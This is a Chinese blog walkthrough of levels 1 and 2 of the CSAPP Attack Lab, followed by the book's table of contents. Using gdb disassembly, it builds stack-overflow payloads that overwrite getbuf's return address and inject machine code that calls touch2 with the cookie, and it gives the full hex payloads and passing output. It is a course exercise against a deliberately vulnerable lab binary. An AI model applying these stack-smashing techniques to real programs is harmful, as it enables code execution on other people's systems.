《深入理解计算机系统》CSAPP_AttackLab
Posted duile
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《深入理解计算机系统》CSAPP_AttackLab相关的知识,希望对你有一定的参考价值。
AttackLab
操作系统:linux
调试工具:gdb
Level 1
我们是攻击者,也就是hack,其实我更喜欢骇客这个翻译,而不是黑客。level1 ~ level3
的攻击方式都是运行CTARGET
注入代码。
作为一名骇客小白,我们可以通过unix > objdump -d ctarget > ctarget.d
这段指令查看汇编代码,但我更喜欢用用gdb里的disas指令展示函数。这样更方便阅读。(这里就不需要打断点了)
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1(){
vlevel = 1;
/* Part of validation protocol */
printf("Touch1!: You called touch1()\\n");
validate(1);
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp #<touch1>的函数地址
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
第一个攻击任务是:
Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.
你的任务是运行CTARGET使得当getbuf运行结束后,运行touch1,这些行为要在test返回之前完成。
原本主函数test调用了getbuf函数,test返回时就结束了。但我们要在调用getbuf函数之后再多一个调用touch1函数。如何完成这个任务呢?
我们知道,当调用getbuf函数时,栈会给存留一个返回地址栈帧0x0000000000401976
,执行getbuf函数结束后,通过这个地址返回主函数test。我们只要把这个地址改为touch1的函数地址0x00000000004017c0
即可。
如何改呢?我们利用栈溢出的特性,因为getbuf函数开辟了40(0x28)beytes的栈空间,我们多输入8bytes的touch1的函数地址用来覆盖,之前的40bytes随意输入。(栈的一行里有8byte,返回地址也是8bytes)
同时注意到intel使用的是小端法排序,我们无需用0x注明十六进制,CTARGET会自动转为十六进制。
key:
/*level1.txt*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40
(c0 17 40
后续的零可填可不填,会自动补上的)
我们通过unix> ./hex2raw < level1.txt | ./ctarget -q
进行攻击。(./ctarget -q
,在./ctarget
之后加 -q
的原因是我们没法连接上CMU的服务器,在本地运行验证结果就行了;文件level1.txt
中存放着我们的答案)
hack@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
Level 2
先查看代码及对应汇编代码:
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\\n", val);
fail(2);
}
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi #此时的%rsp是已经开辟空间的栈顶
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
(gdb) disas touch2
Dump of assembler code for function touch2:
0x00000000004017ec <+0>: sub $0x8,%rsp #<touch2>的函数地址
0x00000000004017f0 <+4>: mov %edi,%edx
0x00000000004017f2 <+6>: movl $0x2,0x202ce0(%rip) # 0x6044dc <vlevel>
0x00000000004017fc <+16>: cmp 0x202ce2(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401802 <+22>: jne 0x401824 <touch2+56>
0x0000000000401804 <+24>: mov $0x4030e8,%esi
0x0000000000401809 <+29>: mov $0x1,%edi
0x000000000040180e <+34>: mov $0x0,%eax
0x0000000000401813 <+39>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401818 <+44>: mov $0x2,%edi
0x000000000040181d <+49>: callq 0x401c8d <validate>
0x0000000000401822 <+54>: jmp 0x401842 <touch2+86>
0x0000000000401824 <+56>: mov $0x403110,%esi
0x0000000000401829 <+61>: mov $0x1,%edi
0x000000000040182e <+66>: mov $0x0,%eax
0x0000000000401833 <+71>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401838 <+76>: mov $0x2,%edi
0x000000000040183d <+81>: callq 0x401d4f <fail>
0x0000000000401842 <+86>: mov $0x0,%edi
0x0000000000401847 <+91>: callq 0x400e40 <exit@plt>
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.
level 2和leve 1类似,也是在test返回前调用一次touch2函数。但是在touch2函数val的值必须和cookie相同才算touch2函数调用成功。
那么得想办法调用touch2函数,即注入touch2的函数地址。
advice:
Recall that the first argument to a function is passed in register %rdi.
%rdi
中存储touch2函数着第一个参数。Your injected code should set the register to your cookie, and then use a
ret
instruction to transfer control to the first instruction in touch2.
你注入的代码应该把寄存器%rdi
设置为cookie
,然后中使用ret
指令转移控制权到touch2中的第一条指令(即touch2的函数地址0x4017ec
)。
根据advice及touch2源代码可以知道:(要写汇编代码)
- 用
movq
指令,$0x59b997fa
移入%rdi
。从而val == cookie
函数touch2执行成功。(在cookie.txt中存着cookie的值0x59b997fa
)。 - 用
push
指令压入touch2的函数地址,从而ret
时会返回为touch2的函数地址。
那么有:
//level2.s
movq $0x59b997fa, %rdi
pushq 0x4017ec6
ret
再将其转化为机器代码:使用linux> gcc -c level2.s
及linux> objdump -d level2.o
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level2.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level2.o
level2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq
从而得到部分注入代码:(机器代码已经使用小端法了)
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
那么现在问题来了,从哪里注入代码?答案应该是从栈顶,在getbuf
函数已经开辟栈空间的%rsp
处注入。
原因呢?如下图所示,注入的register必须在stack top之前。
接下来我们查找开辟栈空间的%rsp
对应地址。
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:14
14 buf.c: 没有那个文件或目录.
(gdb) print $rsp
$1 = (void *) 0x5561dc78
好,最终我们有,key: (注意填充已经开辟的栈空间40bytes以及小端法)
//level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$
CONTIUNE
深入理解计算机系统的目录1
1 A Tour of Computer Systems
1.1 Information is Bits + Context
1.2 Programs Are Translated by Other Programs into Different Forms
1.3 It Pays to Understand How Compilation Systems Work
1.4 Processors Read and Interpret Instructions Stored in Memory
1.5 Caches Matter
1.6 Storage Devices Form a Hierarchy
1.7 The Operating System Manages the Hardware
1.8 Systems CommunicateWith Other Systems Using Networks
1.9 The Next Step
1.10 Summary
Bibliographics Notes
Part I Program Structure and Execution
2 Representing and Manipulating Information
2.1 Information Storage
2.2 Integer Representations
2.3 Integer Arithmetic
2.4 Floating Point
2.5 Summary
Bibliographic Notes
Homework Problems
Solution to Practice Problems
3 Machine-Level Representation of Programs
3.1 A Historical Perspective
3.2 Program Encodings
3.3 Data Formats
3.4 Accessing Information
3.5 Arithmetic and Logical Operations
3.6 Control
3.7 Procedures
3.8 Array Allocation and Access
3.9 Heterogeneous Data Structures
3.10 Alignment
3.11 Putting it Together: Understanding Pointers
3.12 Life in the RealWorld: Using the GDB Debugger
3.13 Out-of-Bounds Memory References and Buffer Over
3.14 *Floating-Point Code
3.15 *Embedding Assembly Code in C Programs
3.16 Summary
Bibliographic Notes
Homework Problems
Solutions to Practice Problems
4 Processor Architecture
5 Optimizing Program Performance
6 The Memory Hierarchy
Part Ⅱ Running Programs on a System
7 Linking
8 Exceptional Control Flow
9 Measuring Program Execution Time
10 Virtual Memory
Part Ⅲ Interaction and Communication Between Programs
11 System-Level I/O
12 Network Programming
13 Concurrent Programming
A HCL Descriptions of Processor Control Logic
B Error Handling
Bibliography
Index
目录:
第1章 计算机系统漫游
1.1 信息就是比特+上下文
1.2 程序被其他程序翻译成不同的格式
1.3 了解编译系统如何工作是大有益处的
1.4 处理器读并解释储存在存储器中的指令
1.4.1 系统的硬件组成
1.4.2 执行hello程序
1.5 高速缓存
1.6 形成层次结构的存储设备
1.7 操作系统管理硬件
1.7.1 进程
1.7.2 线程
1.7.3 虚拟存储器
1.7.4 文件
1.8 利用网络系统和其他系统通信
1.9 下一步
1.10 小结
参考文献说明
第2章 信息的表示和处理
2.1 信息存储
2.2 整数表示
2.3 整数运算
2.4 浮点
2.5 小结
参考文献说明
家庭作业
练习题答案
第3章 程序的机器级表示
3.1 历史观点
3.2 程序编码
3.3 数据格式
3.4 访问信息
3.5 算术和逻辑操作
3.6 控制
3.7 过程
3.8 数组分配和访问
3.9 异类的数据结构
3.10 对齐(alignment)
3.11 综合:理解指针
3.12 现实生活:使用GDB调试器
3.13 存储器的越界引用和缓冲区溢出
3.14 *浮点代码
3.15 *在C程序中嵌入汇编代码
3.16 小结
第4章 处理器体系结构
4.1 Y86指令集体系结构
4.2 逻辑设计和硬件控制语言HCL 271
4.3 Y86的顺序(sequential)实现
4.4 流水线的通用原理
4.5 Y86的流水线实现
4.6 小结
第5章 优化程序性能
5.1 优化编译器的能力和局限性
5.2 表示程序性能
5.3 程序示例
5.4 消除循环的低效率
5.5 减少过程调用
5.6 消除不必要的存储器引用
5.7 理解现代处理器
5.8 降低循环开销
5.9 转换到指针代码
5.10 提高并行性
5.11 综合:优化合并代码的效果小结
5.12 分支预测和预测错误处罚
5.13 理解存储器性能
5.14 现实生活:性能提高技术
5.15 确认和消除性能瓶颈
5.16 小结
第6章 存储器层次结构
6.1 存储技术
6.2 局部性
6.3 存储器层次结构
6.4 高速缓冲存储器
6.5 编写高速缓存友好的代码
6.6 综合:高速缓存对程序性能的影响
6.7 综合:利用你程序中的局部性
6.8 小结
参考文献说明
家庭作业
练习题答案
第7章 链接
7.1 编译器驱动程序
7.2 静态链接
7.3 目标文件
7.4 可重定位目标文件
7.5 符号和符号表
7.6 符号解析
7.7 重定
7.8 可执行目标文件
7.9 加载可执行目标文件
7.10 动态链接共享库
7.11 从应用程序中加载和链接共享库
7.12 *与位置无关的代码(PIC)
7.13 处理目标文件的工具
7.14 小结
第8章 异常控制流
8.1 异常
8.2 进程
8.3 系统调用和错误处理
8.4 进程控制
8.5 信号
8.6 非本地跳转
8.7 操作进程的工具
8.8 小结
第9章 测量程序执行时间
9.1 计算机系统上的时间流
9.2 通过间隔计数(interval counting)来测量时间
9.3 周期计数器
9.4 用周期计数器来测量程序执行时间
9.5 于gettimeofday函数的测量
9.6 综合:一个实验协议
9.7 展望未来
9.8 现实生活:K次最优测量方法
9.9 得到的经验教训
9.10 小结
第10章 虚拟存储器
10.1 物理和虚拟寻址
10.2 地址空间
10.3 VM作为缓存的工具
10.4 VM作为存储器管理的工具
10.5 VM作为存储器保护的工具
10.6 地址翻译
10.7 案例研究:Pentium/Linux存储器系统
10.8 存储器映射
10.9 动态存储器分配
10.10 垃圾收集
10.11 C程序中常见的与存储器有关的错误
10.12扼要重述一些有关虚拟存储器的关键概念
10.13 小结
第11章 系统级I/O
11.1 Unix I/O
11.2 打开和关闭文件
11.3 读和写文件
11.4 用RIO包进行健壮地读和写
11.5 读取文件元数据
11.6 共享文件
11.7 I/O重定向
11.8 标准I/O
11.9 综合:我该使用哪些I/O函数?
11.10 小结
第12章 网络编程
12.1 客户端-服务器编程模型
12.2 网络
12.3 全球IP因特网
12.4 套接字接口
12.5 Web服务器
12.6 综合:TINY Web服务器
12.7 小结
第13章 并 发 编 程
13.1 基于进程的并发编程
13.2 基于I/O 多路复用的并发编程
13.3 基于线程的并发编程
13.4 多线程程序中的共享变量
13.5 用信号量同步线程
13.6 综合:基于预线程化的并发服务器
13.7 其他并发性问题
13.8 小结
参考文献说明
家庭作业习题
练习题答案
附录A 处理器控制逻辑的 HCL描述
A.1 HCL参考手册
A.2 SEQ
A.3 SEQ+
A.4 PIPE
附录B 错 误 处 理
B.1 Unix系统中的错误处理
B.2 错误处理包装函数
B.3 csapp.h头文件
B.4 csapp.c源文件
以上是关于《深入理解计算机系统》CSAPP_AttackLab的主要内容,如果未能解决你的问题,请参考以下文章